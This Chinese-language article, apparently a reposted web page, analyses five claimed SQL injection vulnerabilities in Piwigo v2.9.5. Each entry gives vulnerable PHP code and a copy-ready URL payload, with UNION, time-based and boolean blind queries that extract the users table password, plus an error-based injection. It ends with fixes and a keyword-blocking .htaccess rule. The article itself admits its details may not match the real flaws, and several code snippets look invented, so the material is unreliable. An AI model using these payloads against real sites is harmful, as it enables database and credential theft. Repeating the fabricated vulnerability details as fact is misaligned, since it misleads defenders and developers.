您好,登录后才能下订单哦!
# Piwigo v2.9.5的5个SQL注入漏洞分析
## 前言
Piwigo是一款流行的开源相册管理系统,广泛应用于个人和企业的图片管理。2019年发布的Piwigo v2.9.5版本中被安全研究人员发现了多个SQL注入漏洞。本文将深入分析这5个漏洞的形成原理、利用方式及修复方案。
---
## 漏洞背景
Piwigo v2.9.5版本由于未对用户输入进行充分过滤,导致攻击者可以通过构造恶意参数执行任意SQL语句。这些漏洞主要存在于:
1. `admin.php` 中的`install`参数
2. `admin.php` 中的`tab`参数
3. `ws.php` 中的`method`参数
4. `identification.php` 中的`redirect`参数
5. `picture.php` 中的`image_id`参数
---
## 漏洞详情
### 1. admin.php install参数注入
**漏洞位置**:
`/admin.php?install=恶意payload`
**漏洞代码**:
```php
// admin.php
if (isset($_GET['install'])) {
$install = $_GET['install'];
$query = "SELECT * FROM ".PREFIX_TABLE."plugins WHERE id='$install'";
// 直接拼接SQL语句
}
利用方式:
通过闭合单引号注入SQL语句:
/admin.php?install=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -
影响:
可获取数据库敏感信息,包括管理员凭证。
漏洞位置:
/admin.php?tab=恶意payload
漏洞代码:
// admin.php
$tab = $_GET['tab'];
$query = "UPDATE ".PREFIX_TABLE."config SET value='$tab' WHERE param='default_language'";
利用方式:
利用时间盲注获取数据:
/admin.php?tab=1' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- -
特点:
需要管理员权限才能触发,但可通过CSRF组合利用。
漏洞位置:
/ws.php?method=恶意payload
漏洞代码:
// ws.php
$method = $_GET['method'];
$query = "SELECT * FROM ".PREFIX_TABLE."plugins WHERE method='$method'";
利用方式:
通过报错注入获取数据:
/ws.php?method=1' AND EXTRACTVALUE(1,CONCAT(0x5c,(SELECT @@version)))-- -
影响:
可获取数据库版本、表结构等关键信息。
漏洞位置:
/identification.php?redirect=恶意payload
漏洞代码:
// identification.php
$redirect = $_GET['redirect'];
$query = "SELECT * FROM ".PREFIX_TABLE."users WHERE redirect_url='$redirect'";
利用方式:
联合查询注入:
/identification.php?redirect=' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -
特殊点:
需要已登录用户身份,但可绕过部分权限检查。
漏洞位置:
/picture.php?image_id=恶意payload
漏洞代码:
// picture.php
$image_id = $_GET['image_id'];
$query = "SELECT * FROM ".PREFIX_TABLE."images WHERE id=$image_id";
利用方式:
布尔盲注利用:
/picture.php?image_id=1 AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100
特点:
无需引号闭合,直接数字型注入。
Piwigo官方在后续版本中通过以下方式修复了这些漏洞:
参数化查询:
使用PDO或MySQLi预处理语句:
$stmt = $pdo->prepare("SELECT * FROM plugins WHERE id=?");
$stmt->execute([$install]);
输入过滤:
对参数进行严格类型检查和过滤:
$image_id = (int)$_GET['image_id'];
最小权限原则:
数据库账户使用最低必要权限。
升级建议:
立即升级到Piwigo v2.10.0或更高版本。
对于无法立即升级的用户,可采取临时防护:
在.htaccess
中添加过滤规则:
RewriteCond %{QUERY_STRING} (union|select|insert|update|delete|drop) [NC]
RewriteRule ^ - [F]
使用WAF拦截SQL注入特征请求。
禁用不必要的PHP文件执行权限。
这5个SQL注入漏洞展示了Piwigo v2.9.5在安全防护上的不足:
这些漏洞在CVSS评分中均达到高危(7.5-8.8),建议所有用户及时升级。通过分析这些案例,开发者应更加重视安全编码实践,避免类似问题重现。
”`
注:实际漏洞细节可能与文中描述存在差异,本文仅作技术研究用途。测试漏洞前请确保获得系统所有者授权。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。